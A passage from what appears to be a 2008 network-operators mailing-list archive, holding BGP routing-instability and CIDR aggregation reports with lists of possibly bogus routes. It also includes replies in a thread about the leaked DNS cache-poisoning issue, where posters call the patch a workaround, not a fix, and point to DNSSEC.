-- HEIDRICK-CHICAGO - HEIDRICK 4 - AS39105 4935 0.1% 4935.0 -- CLASS-AS SC Class Computers And Service SRL 5 - AS44656 4919 0.1% 4919.0 -- HOLOSFIND-ROMANIA HOLOSFIND SRL 6 - AS28361 4732 0.1% 4732.0 -- 7 - AS29910 4640 0.1% 4640.0 -- IACP - INTL. ASSN OF CHIEF OF POLICEI 8 - AS13620 22377 0.3% 4475.4 -- ASN-ELAN - Elan Communications, Inc. 9 - AS22678 3946 0.1% 3946.0 -- OSDE 10 - AS23082 19177 0.3% 3835.4 -- MPHI - Michigan Public Health Institute 11 - AS44194 3526 0.1% 3526.0 -- FREIFUNK-BERLIN-AS Freifunk Berlin 12 - AS27786 2623 0.0% 2623.0 -- SSA SISTEMAS S.A. 13 - AS32133 2381 0.0% 2381.0 -- JOHNSTONE-SUPPLY - Atwater Supply dba Johnstone Supply 14 - AS36988 6311 0.1% 2103.7 -- MILLICOM-SL 15 - AS30560 20321 0.3% 2032.1 -- GE-MS001 - General Electric Company 16 - AS38513 1999 0.0% 1999.0 -- LINTASARTA-AS-ID PT Aplikanusa Lintasarta 17 - AS25250 5996 0.1% 1998.7 -- GAMTEL-AS 18 - AS10571 3848 0.1% 1924.0 -- GEOACCESS-AS - GeoAccess 19 - AS36966 1740 0.0% 1740.0 -- Edgenet 20 - AS31065 12118 0.2% 1731.1 -- MCIT TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 192.12.120.0/24 72767 0.9% AS5691 -- MITRE-AS-5 - The MITRE Corporation 2 - 221.134.222.0/24 60891 0.8% AS9583 -- SIFY-AS-IN Sify Limited 3 - 83.228.71.0/24 42031 0.6% AS8866 -- BTC-AS Bulgarian Telecommunication Company Plc. 4 - 194.126.143.0/24 28311 0.4% AS9051 -- IDM Autonomous System 5 - 210.214.128.0/23 26278 0.3% AS9583 -- SIFY-AS-IN Sify Limited 6 - 221.128.192.0/18 25140 0.3% AS18231 -- EXATT-AS-AP IOL NETCOM LTD 7 - 210.214.144.0/24 17050 0.2% AS9583 -- SIFY-AS-IN Sify Limited 8 - 24.121.123.0/24 13701 0.2% AS25994 -- NPG-001 - NPG Cable, INC 9 - 195.47.233.0/24 12494 0.2% AS30850 -- DESMIE-AS Hellenic Trasmission System Operator S.A. 10 - 81.21.104.0/24 11265 0.1% AS31065 -- MCIT 11 - 203.63.26.0/24 11118 0.1% AS9747 -- EZINTERNET-AS-AP EZInternet Pty Ltd 12 - 63.84.91.0/24 10017 0.1% AS27245 -- HEIDRICK-CHICAGO - HEIDRICK 13 - 72.50.96.0/20 9739 0.1% AS10396 -- COQUI-NET - DATACOM CARIBE, INC. 14 - 196.42.48.0/20 9380 0.1% AS10396 -- COQUI-NET - DATACOM CARIBE, INC. 15 - 72.50.112.0/20 9259 0.1% AS10396 -- COQUI-NET - DATACOM CARIBE, INC. 16 - 216.255.56.0/21 8868 0.1% AS7106 -- OHIOBRIGHTNET - Com Net, Inc. 17 - 213.91.175.0/24 7610 0.1% AS8866 -- BTC-AS Bulgarian Telecommunication Company Plc. 18 - 199.244.140.0/24 7561 0.1% AS30560 -- GE-MS001 - General Electric Company 19 - 210.214.26.0/24 6973 0.1% AS9583 -- SIFY-AS-IN Sify Limited 20 - 203.101.87.0/24 6609 0.1% AS9498 -- BBIL-AP BHARTI BT INTERNET LTD. Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From cidr-report at potaroo.net Fri Jul 25 07:00:02 2008 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 25 Jul 2008 22:00:02 +1000 (EST) Subject: The Cidr Report Message-ID: <200807251200.m6PC02tw011269@wattle.apnic.net> This report has been generated at Fri Jul 25 21:14:54 2008 AEST. The report analyses the BGP Routing Table of AS2.0 router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org for a current version of this report. Recent Table History Date Prefixes CIDR Agg 18-07-08 274967 173068 19-07-08 275133 173121 20-07-08 275963 173053 21-07-08 275076 173194 22-07-08 275273 173538 23-07-08 275415 173711 24-07-08 275500 173908 25-07-08 275453 173742 AS Summary 28884 Number of ASes in routing system 12209 Number of ASes announcing only one prefix 4986 Largest number of prefixes announced by an AS AS4538 : ERX-CERNET-BKB China Education and Research Network Center 88350976 Largest address span announced by an AS (/32s) AS721 : DISA-ASNBLK - DoD Network Information Center Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 25Jul08 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 275468 173778 101690 36.9% All ASes AS4538 4986 883 4103 82.3% ERX-CERNET-BKB China Education and Research Network Center AS6389 3211 573 2638 82.2% BELLSOUTH-NET-BLK - BellSouth.net Inc. AS209 3018 685 2333 77.3% ASN-QWEST - Qwest AS4755 1685 248 1437 85.3% VSNL-AS Videsh Sanchar Nigam Ltd. Autonomous System AS18566 1045 40 1005 96.2% COVAD - Covad Communications Co. AS17488 1233 345 888 72.0% HATHWAY-NET-AP Hathway IP Over Cable Internet AS22773 972 84 888 91.4% CCINET-2 - Cox Communications Inc. AS4323 1485 668 817 55.0% TWTC - tw telecom holdings, inc. AS8151 1382 576 806 58.3% Uninet S.A. de C.V. AS19262 929 222 707 76.1% VZGNI-TRANSIT - Verizon Internet Services Inc. AS11492 1208 516 692 57.3% CABLEONE - CABLE ONE AS1785 1226 536 690 56.3% AS-PAETEC-NET - PaeTec Communications, Inc. AS6298 1648 1023 625 37.9% COX-PHX - Cox Communications Inc. AS2386 1488 894 594 39.9% INS-AS - AT&T Data Communications Services AS18101 710 152 558 78.6% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS6478 1015 473 542 53.4% ATT-INTERNET3 - AT&T WorldNet Services AS4766 879 396 483 54.9% KIXS-AS-KR Korea Telecom AS4808 621 169 452 72.8% CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network AS855 590 148 442 74.9% CANET-ASN-4 - Bell Aliant AS17676 524 82 442 84.4% GIGAINFRA BB TECHNOLOGY Corp. AS22047 565 128 437 77.3% VTR BANDA ANCHA S.A. AS7018 1433 1006 427 29.8% ATT-INTERNET4 - AT&T WorldNet Services AS9443 517 92 425 82.2% INTERNETPRIMUS-AS-AP Primus Telecommunications AS4780 714 318 396 55.5% SEEDNET Digital United Inc. AS4134 828 434 394 47.6% CHINANET-BACKBONE No.31,Jin-rong Street AS6197 954 576 378 39.6% BATI-ATL - BellSouth Network Solutions, Inc AS4804 458 82 376 82.1% MPX-AS Microplex PTY LTD AS24560 533 160 373 70.0% AIRTELBROADBAND-AS-AP Bharti Airtel Ltd. AS3602 456 84 372 81.6% AS3602-RTI - Rogers Telecom Inc. AS4668 680 319 361 53.1% LGNET-AS-KR LG CNS Total 36993 11912 25081 67.8% Top 30 total Possible Bogus Routes 24.38.0.0/17 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.48.0.0/13 AS19548 ADELPHIA-AS2 - Road Runner HoldCo LLC 24.48.244.0/23 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.48.246.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.51.159.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.54.23.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.54.224.0/19 AS20001 ROADRUNNER-WEST - Road Runner HoldCo LLC 24.75.160.0/19 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.75.192.0/18 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.142.40.0/21 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.142.160.0/19 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.0.0/17 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 62.61.220.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 63.140.213.0/24 AS22555 UTC - Universal Talkware Corporation 63.141.42.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 63.143.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 63.143.115.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 63.143.251.0/24 AS22555 UTC - Universal Talkware Corporation 63.248.0.0/16 AS3356 LEVEL3 Level 3 Communications 64.7.112.0/21 AS6453 GLOBEINTERNET TATA Communications 64.7.120.0/21 AS6453 GLOBEINTERNET TATA Communications 64.50.128.0/18 AS4565 MEGAPATH2-US - MegaPath Networks Inc. 64.64.159.0/24 AS32004 BIG-ASN - Business Information Group, Inc. 64.144.0.0/15 AS4565 MEGAPATH2-US - MegaPath Networks Inc. 64.188.0.0/16 AS3356 LEVEL3 Level 3 Communications 65.36.8.0/24 AS5696 65.36.9.0/24 AS5696 65.36.33.0/24 AS5696 65.36.52.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 66.11.32.0/20 AS6261 VISINET - Visionary Systems, Inc. 66.11.40.0/21 AS6261 VISINET - Visionary Systems, Inc. 66.54.91.0/24 AS30506 BLACKSUN-1 - Blacksun Technologies LLC 66.55.160.0/19 AS29994 66.64.96.0/20 AS3790 RADIGRAFICA COSTARRICENSE 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.199.32.0/20 AS10397 WISP-AS - Wispnet, LLC 66.206.32.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.33.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.34.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.35.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.40.0/22 AS174 COGENT Cogent/PSI 66.206.44.0/23 AS174 COGENT Cogent/PSI 66.206.47.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 66.207.32.0/20 AS23011 67.20.0.0/14 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 68.64.0.0/13 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 68.168.0.0/14 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 68.232.0.0/14 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 69.71.192.0/20 AS13818 PHX-INTL-TELEPORT - Phoenix International Teleport 69.80.0.0/17 AS3043 AMPHIB-AS - Amphibian Media Corporation 69.164.0.0/17 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 69.165.102.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 70.34.0.0/16 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 80.88.0.0/21 AS33774 DJAWEB 80.88.8.0/22 AS33774 DJAWEB 80.88.10.0/24 AS33774 DJAWEB 80.88.12.0/24 AS33779 wataniya-telecom-as 87.76.0.0/16 AS3301 TELIANET-SWEDEN TeliaNet Sweden 91.200.192.128/25 AS44045 DIGIEF-AS Didjief internation kulinari koncept LLC 91.200.193.128/25 AS44045 DIGIEF-AS Didjief internation kulinari koncept LLC 91.200.194.128/25 AS44045 DIGIEF-AS Didjief internation kulinari koncept LLC 91.200.195.128/25 AS44045 DIGIEF-AS Didjief internation kulinari koncept LLC 93.187.232.0/21 AS34011 DOMAINFACTORY domainfactory GmbH 94.75.192.0/18 AS16265 LEASEWEB LEASEWEB AS 95.192.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 95.255.248.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 137.0.0.0/13 AS721 DISA-ASNBLK - DoD Network Information Center 151.135.0.0/16 AS4768 CLIX-NZ TelstraClear Ltd 159.3.211.0/24 AS2687 ASATTCA AT&T Global Network Services - AP 163.142.0.0/16 AS2500 WIDE-BB WIDE Project 166.63.0.0/16 AS33775 NITEL-AS 172.7.0.0/24 AS28175 172.10.1.0/30 AS18305 POSNET POSDATA Co.,Ltd 188.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 188.0.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 188.0.0.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 192.9.200.0/24 AS3602 AS3602-RTI - Rogers Telecom Inc. 192.30.93.0/24 AS17757 HPAUS-AP HP Australia 192.30.94.0/24 AS17757 HPAUS-AP HP Australia 192.40.105.0/24 AS12582 TSF-DATANET-NGD-AS TSF MPLS VPN Services 192.64.85.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.107.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.108.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.177.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.96.36.0/24 AS5713 SAIX-NET 192.96.37.0/24 AS10474 NETACTIVE 192.96.135.0/24 AS2018 TENET-1 192.96.136.0/23 AS2018 TENET-1 192.96.141.0/24 AS2018 TENET-1 192.96.143.0/24 AS2018 TENET-1 192.96.145.0/24 AS2018 TENET-1 192.96.177.0/24 AS6083 POSIX-AFRICA 192.101.45.0/24 AS2905 TICSA-ASN 192.101.46.0/24 AS6503 Avantel, S.A. 192.101.47.0/24 AS6503 Avantel, S.A. 192.101.64.0/21 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.67.0/24 AS21775 192.101.70.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.72.0/24 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.73.0/24 AS4765 WORLDNET-AS World Net & Services Co., Ltd. 192.101.74.0/24 AS1239 SPRINTLINK - Sprint 192.122.212.0/24 AS209 ASN-QWEST - Qwest 192.124.252.0/22 AS680 DFN-IP service G-WiN 192.131.233.0/24 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 192.133.6.0/24 AS10282 EQUANT-CEEUR EQUANT AS for Central and Eastern Europe region 192.153.144.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 192.154.32.0/19 AS81 NCREN - MCNC 192.188.208.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 193.200.114.0/23 AS31530 SERVERCREW-AS Servercrew LTD Autonomes System 194.31.227.0/24 AS21461 TRANSFAIRNET Transfair-net GmbH Krefeld 194.246.72.0/23 AS8893 ARTFILES-AS Artfiles New Media GmbH 196.6.108.0/24 AS5713 SAIX-NET 196.10.119.0/24 AS2018 TENET-1 196.10.122.0/23 AS2018 TENET-1 196.10.251.0/24 AS2018 TENET-1 196.10.252.0/23 AS2018 TENET-1 196.10.254.0/24 AS2018 TENET-1 196.13.101.0/24 AS2018 TENET-1 196.13.102.0/23 AS2018 TENET-1 196.13.104.0/24 AS2018 TENET-1 196.13.121.0/24 AS2018 TENET-1 196.13.125.0/24 AS2018 TENET-1 196.13.126.0/24 AS2018 TENET-1 196.13.169.0/24 AS2018 TENET-1 196.13.174.0/23 AS2018 TENET-1 196.13.176.0/21 AS2018 TENET-1 196.13.192.0/22 AS2018 TENET-1 196.13.196.0/24 AS2018 TENET-1 196.201.98.0/24 AS29571 CITelecom-AS 196.216.132.0/24 AS9207 TAIDE-KE-NAIROBI Taide - Kenya POP 196.216.134.0/24 AS9207 TAIDE-KE-NAIROBI Taide - Kenya POP 198.23.26.0/24 AS4390 BELLATLANTIC-COM - Bell Atlantic, Inc. 198.54.82.0/24 AS2018 TENET-1 198.54.92.0/24 AS2018 TENET-1 198.54.222.0/24 AS2018 TENET-1 198.97.72.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.80.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.96.0/19 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.240.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 198.144.96.0/20 AS12185 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 198.169.0.0/16 AS803 SASKTEL - Saskatchewan Telecommunications 198.180.198.0/24 AS23715 SEOUL-INTGW-GXS-AP Global Exchange Services 199.9.128.0/17 AS668 ASN-ASNET-NET-AS - Defense Research and Engineering Network 199.10.0.0/16 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.0.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.128.0/18 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.130.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.131.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.132.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.134.0/24 AS3541 ITSDN-U4 - DoD Network Information Center 199.114.136.0/24 AS27044 DDN-ASNBLK1 - DoD Network Information Center 199.114.138.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DoD Network Information Center 199.114.142.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.144.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.148.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.150.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.152.0/24 AS27033 DDN-ASNBLK1 - DoD Network Information Center 199.114.153.0/24 AS27034 DDN-ASNBLK1 - DoD Network Information Center 199.114.154.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.114.156.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.114.160.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.121.0.0/16 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.0.0/18 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.16.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.80.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 199.189.32.0/19 AS7332 IQUEST-AS - IQuest Internet 199.202.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.246.116.0/24 AS813 UUNET-CANADA - MCI Communications Services, Inc. d/b/a Verizon Business 202.58.113.0/24 AS19161 INNOCOM-TELECOM - INNOCOM TELECOM 202.73.144.0/20 AS4788 TMNET-AS-AP TM Net, Internet Service Provider 202.80.192.0/20 AS2706 HKSUPER-HK-AP Pacific Internet (Hong Kong) Limited 202.86.252.0/22 AS4748 RESOLINK-AS-AP Resources Link Network Limited 202.86.252.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.90.33.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.40.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.41.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.42.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.43.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.44.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.94.1.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.94.70.0/24 AS9837 POWERTEL-AP Powertel Ltd 202.124.195.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.124.207.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 202.136.254.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.136.255.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.164.100.0/24 AS18101 RIL-IDC Reliance Infocom Ltd Internet Data Centre, 202.176.228.0/24 AS17988 SINOSAT-AS-AP SINOSAT (HONG KONG) LIMITED 202.176.232.0/24 AS17988 SINOSAT-AS-AP SINOSAT (HONG KONG) LIMITED 202.181.32.0/24 AS4645 ASN-HKNET-AP HKNet Co. Ltd 203.12.45.0/24 AS4854 NETSPACE-AS-AP Netspace Online Systems 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.89.139.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 203.111.192.0/20 AS7473 SINGTEL-AS-AP Singapore Telecom 203.112.97.0/24 AS9942 COMINDICO-AP SOUL Converged Communications Australia 203.112.111.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.113.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.114.0/24 AS4802 ASN-IINET iiNet Limited 203.112.116.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.117.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.118.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.119.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.120.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.121.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.127.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.128.128.0/19 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 203.128.128.0/24 AS23849 CNNIC-NET263-AP Beijing Capital-online science development Co.,Ltd. 203.152.136.0/23 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.152.138.0/23 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.152.142.0/24 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.152.143.0/24 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.160.110.0/23 AS7643 VNN-AS-AP Vietnam Posts and Telecommunications (VNPT) 204.9.216.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.9.217.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.9.218.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.13.140.0/22 AS7270 NET2PHONE - Net2Phone Corp. 204.16.120.0/23 AS12077 204.16.122.0/23 AS12077 204.19.14.0/23 AS577 BACOM - Bell Canada 204.48.58.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.48.60.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.154.125.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.126.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.127.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 205.150.0.0/15 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 206.162.224.0/19 AS23464 ILCSNET - Interlink Computer Services 206.180.240.0/20 AS12083 KNOLOGY-NET - Knology Holdings 206.220.240.0/24 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.240.64/26 AS22335 MREN - Metropolitan Research and Education Network 206.220.240.128/25 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.240.160/30 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.240.220/32 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.241.0/24 AS10764 STARTAP - National Center for Supercomputing Applications 207.98.192.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 207.98.209.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 207.98.223.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 207.191.128.0/19 AS10887 BPSI-AS - BPSI Internet Services 207.204.168.0/24 AS15150 BELLTECH-AS - BELLWETHER TECHNOLOGY CORPORATION 207.204.222.0/24 AS22773 CCINET-2 - Cox Communications Inc. 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc. 208.38.192.0/18 AS3043 AMPHIB-AS - Amphibian Media Corporation 208.38.192.0/21 AS14237 BEAMSPEED1 - Beamspeed 208.38.202.0/24 AS14237 BEAMSPEED1 - Beamspeed 208.38.203.0/24 AS14237 BEAMSPEED1 - Beamspeed 208.38.204.0/22 AS14237 BEAMSPEED1 - Beamspeed 209.54.93.0/24 AS22773 CCINET-2 - Cox Communications Inc. 209.54.111.0/24 AS22773 CCINET-2 - Cox Communications Inc. 209.54.123.0/24 AS6062 NETPLEX - NETPLEX 209.54.240.0/21 AS10887 BPSI-AS - BPSI Internet Services 209.105.224.0/19 AS20074 209.140.90.0/24 AS14461 NTSL - NET SOLUTIONS 209.140.224.0/21 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.234.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.235.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.236.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.237.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.238.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.239.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.141.16.0/21 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.141.48.0/22 AS14461 NTSL - NET SOLUTIONS 209.145.192.0/18 AS3043 AMPHIB-AS - Amphibian Media Corporation 210.5.128.0/20 AS4837 CHINA169-BACKBONE CNCGROUP China169 Backbone 216.37.114.0/23 AS3549 GBLX Global Crossing Ltd. 216.37.120.0/23 AS13377 216.59.0.0/17 AS3356 LEVEL3 Level 3 Communications 216.99.16.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.99.20.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.162.96.0/19 AS7393 CYBERCON - CYBERCON, INC. 216.172.198.0/24 AS22773 CCINET-2 - Cox Communications Inc. 216.172.199.0/24 AS22773 CCINET-2 - Cox Communications Inc. 216.176.22.0/24 AS20299 Newcom Limited 216.210.86.0/24 AS577 BACOM - Bell Canada 216.240.240.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.241.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.242.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.251.207.0/24 AS1239 SPRINTLINK - Sprint 217.78.71.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.72.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.73.0/24 AS12491 IPPLANET-AS IPPlanet Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From jmamodio at gmail.com Fri Jul 25 07:46:20 2008 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 25 Jul 2008 07:46:20 -0500 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> Message-ID: <202705b0807250546k35d1b65alf8c581f85f0fe55f@mail.gmail.com> > > > So is this patch a "true" fix or just a temporary fix until further > work can be done on the problem? I guess you need to read some of the related papers/presentations/advisories/etc related to a subject that has been under discussion for more 20+ years. Answering your questions, as said before, the patch is NO FIX to the problem, it's just a workaround that (together with an appropiate architecture and following well know best practices for DNS deployment) *may* reduce the chances of becoming a victim of the exploit. The solution ? DNSSEC, I believe Paul is asking people interested to learn more about what needs to be done to get it done to discuss the subject in the dns-operations list. My .02 Regards Jorge From jared at puck.nether.net Fri Jul 25 08:03:10 2008 From: jared at puck.nether.net (Jared Mauch) Date: Fri, 25 Jul 2008 09:03:10 -0400 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <50561.1216946275@turing-police.cc.vt.edu> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> <50561.1216946275@turing-police.cc.vt.edu> Message-ID: <20080725130310.GB88532@puck.nether.net> On Thu, Jul 24, 2008 at 08:37:55PM -0400, Valdis.Kletnieks at vt.edu wrote: > On Thu, 24 Jul 2008 17:31:01 EDT, "Jay R. Ashworth" said: > > But it seems to me that Paul, you are here espousing the opinion that > > there's no business value in people being able to trust that the domain > > name they heard on a TV ad and typed into a browser (let's ignore phishing > > for the moment) actually takes them to E-Trade, and not RBN. > > The problem is that the business value, in general, accrues to the wrong > people. > > It's useful and valuable for the *end user* and for *E-Trade* to be able to be > sure they didn't go to RBN. The problem is that Joe Sixpack points his > resolver stub at 